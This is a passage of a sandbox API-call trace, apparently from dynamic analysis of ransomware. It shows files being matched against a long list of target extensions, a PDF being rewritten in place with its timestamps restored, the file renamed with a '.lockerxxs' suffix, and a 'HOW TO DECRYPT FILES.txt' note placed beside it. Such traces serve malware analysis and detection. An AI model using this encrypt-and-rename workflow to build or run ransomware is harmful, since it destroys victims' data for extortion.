lstrlenA (lpString="*.dot") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.docx") returned 0 [0069.140] lstrlenA (lpString="*.docx") returned 6 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.7z") returned 0 [0069.140] lstrlenA (lpString="*.7z") returned 4 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.tar") returned 0 [0069.140] lstrlenA (lpString="*.tar") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.bz2") returned 0 [0069.140] lstrlenA (lpString="*.bz2") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.gz") returned 0 [0069.140] lstrlenA (lpString="*.gz") returned 4 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mkv") returned 0 [0069.140] lstrlenA (lpString="*.mkv") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.eml") returned 0 [0069.140] lstrlenA (lpString="*.eml") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.msg") returned 0 [0069.140] lstrlenA (lpString="*.msg") returned 5 [0069.140] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.edb") returned 0 [0069.140] lstrlenA (lpString="*.edb") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.accdb") returned 0 [0069.141] lstrlenA (lpString="*.accdb") returned 7 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.odb") returned 0 [0069.141] lstrlenA (lpString="*.odb") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.java") returned 0 [0069.141] lstrlenA (lpString="*.java") returned 6 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.asm") returned 0 [0069.141] lstrlenA (lpString="*.asm") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.pfx") returned 0 [0069.141] lstrlenA (lpString="*.pfx") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.pem") returned 0 [0069.141] lstrlenA (lpString="*.pem") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.p12") returned 0 [0069.141] lstrlenA (lpString="*.p12") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.gpg") returned 0 [0069.141] lstrlenA (lpString="*.gpg") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.vsd") returned 0 [0069.141] lstrlenA (lpString="*.vsd") returned 5 [0069.141] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.odg") returned 0 [0069.141] lstrlenA (lpString="*.odg") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.raw") returned 0 [0069.142] lstrlenA (lpString="*.raw") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.nef") returned 0 [0069.142] lstrlenA (lpString="*.nef") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.svg") returned 0 [0069.142] lstrlenA (lpString="*.svg") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.psd") returned 0 [0069.142] lstrlenA (lpString="*.psd") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.vmx") returned 0 [0069.142] lstrlenA (lpString="*.vmx") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.vmdk") returned 0 [0069.142] lstrlenA (lpString="*.vmdk") returned 6 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.vdi") returned 0 [0069.142] lstrlenA (lpString="*.vdi") returned 5 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.lay6") returned 0 [0069.142] lstrlenA (lpString="*.lay6") returned 6 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.mpeg") returned 0 [0069.142] lstrlenA (lpString="*.mpeg") returned 6 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.djvu") returned 0 [0069.142] lstrlenA (lpString="*.djvu") returned 6 [0069.142] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.tiff") returned 0 [0069.142] lstrlenA (lpString="*.tiff") returned 6 [0069.143] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.backup") returned 0 [0069.143] lstrlenA (lpString="*.backup") returned 8 [0069.143] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", pszSpec="*.pdf") returned 1 [0069.143] lstrlenA (lpString="*.pdf") returned 5 [0069.143] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" [0069.143] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" [0069.143] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf." [0069.143] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.lockerxxs" [0069.143] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.144] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x12696 [0069.144] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.144] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.144] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x12670, lpOverlapped=0x0) returned 1 [0069.147] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf") returned="AdobeID.pdf" [0069.148] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.148] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x12670, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x12670, lpOverlapped=0x0) returned 1 [0069.148] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.149] CloseHandle (hObject=0x94) returned 1 [0069.155] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\adobeid.pdf.lockerxxs")) returned 1 [0069.158] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80600540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c35, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0069.158] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.158] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DefaultID.pdf") returned 1 [0069.158] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DefaultID.pdf") returned 1 [0069.158] lstrcmpiA (lpString1="", lpString2="DefaultID.pdf") returned -1 [0069.158] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\AdobeID.pdf") returned="AdobeID.pdf" [0069.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" [0069.158] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\") returned="" [0069.158] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt" [0069.158] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\sve\\how to decrypt files.txt")) returned 0x20 [0069.158] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\", lpString2="DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf" [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.ems") returned 0 [0069.159] lstrlenA (lpString="*.ems") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.db") returned 0 [0069.159] lstrlenA (lpString="*.db") returned 4 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.dbf") returned 0 [0069.159] lstrlenA (lpString="*.dbf") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.myox") returned 0 [0069.159] lstrlenA (lpString="*.myox") returned 6 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.myo") returned 0 [0069.159] lstrlenA (lpString="*.myo") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbw") returned 0 [0069.159] lstrlenA (lpString="*.qbw") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbb") returned 0 [0069.159] lstrlenA (lpString="*.qbb") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbm") returned 0 [0069.159] lstrlenA (lpString="*.qbm") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0069.159] lstrlenA (lpString="*.qbo") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0069.159] lstrlenA (lpString="*.qbx") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0069.159] lstrlenA (lpString="*.qba") returned 5 [0069.159] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0069.159] lstrlenA (lpString="*.qby") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0069.160] lstrlenA (lpString="*.qbj") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0069.160] lstrlenA (lpString="*.ofx") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0069.160] lstrlenA (lpString="*.qif") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0069.160] lstrlenA (lpString="*.mye") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0069.160] lstrlenA (lpString="*.mbox") returned 6 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.160] lstrlenA (lpString="*.eml") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0069.160] lstrlenA (lpString="*.pst") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0069.160] lstrlenA (lpString="*.ost") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0069.160] lstrlenA (lpString="*.idx") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0069.160] lstrlenA (lpString="*.dbx") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0069.160] lstrlenA (lpString="*.sql") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0069.160] lstrlenA (lpString="*.mdb") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0069.160] lstrlenA (lpString="*.fdb") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0069.160] lstrlenA (lpString="*.wab") returned 5 [0069.160] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0069.160] lstrlenA (lpString="*.dat") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0069.161] lstrlenA (lpString="*.txt") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0069.161] lstrlenA (lpString="*.jpeg") returned 6 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0069.161] lstrlenA (lpString="*.jpg") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.png") returned 0 [0069.161] lstrlenA (lpString="*.png") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.php") returned 0 [0069.161] lstrlenA (lpString="*.php") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0069.161] lstrlenA (lpString="*.cs") returned 4 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0069.161] lstrlenA (lpString="*.cpp") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0069.161] lstrlenA (lpString="*.rar") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0069.161] lstrlenA (lpString="*.zip") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.html") returned 0 [0069.161] lstrlenA (lpString="*.html") returned 6 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0069.161] lstrlenA (lpString="*.htm") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0069.161] lstrlenA (lpString="*.xlsx") returned 6 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0069.161] lstrlenA (lpString="*.xls") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0069.161] lstrlenA (lpString="*.mp4") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0069.161] lstrlenA (lpString="*.ppt") returned 5 [0069.161] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0069.162] lstrlenA (lpString="*.pptx") returned 6 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0069.162] lstrlenA (lpString="*.doc") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0069.162] lstrlenA (lpString="*.dot") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0069.162] lstrlenA (lpString="*.docx") returned 6 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0069.162] lstrlenA (lpString="*.7z") returned 4 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0069.162] lstrlenA (lpString="*.tar") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0069.162] lstrlenA (lpString="*.bz2") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0069.162] lstrlenA (lpString="*.gz") returned 4 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0069.162] lstrlenA (lpString="*.mkv") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0069.162] lstrlenA (lpString="*.eml") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0069.162] lstrlenA (lpString="*.msg") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0069.162] lstrlenA (lpString="*.edb") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0069.162] lstrlenA (lpString="*.accdb") returned 7 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0069.162] lstrlenA (lpString="*.odb") returned 5 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.java") returned 0 [0069.162] lstrlenA (lpString="*.java") returned 6 [0069.162] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SVE\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0069.162] lstrlenA (lpString="*.asm") returned 5 [0069.163] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 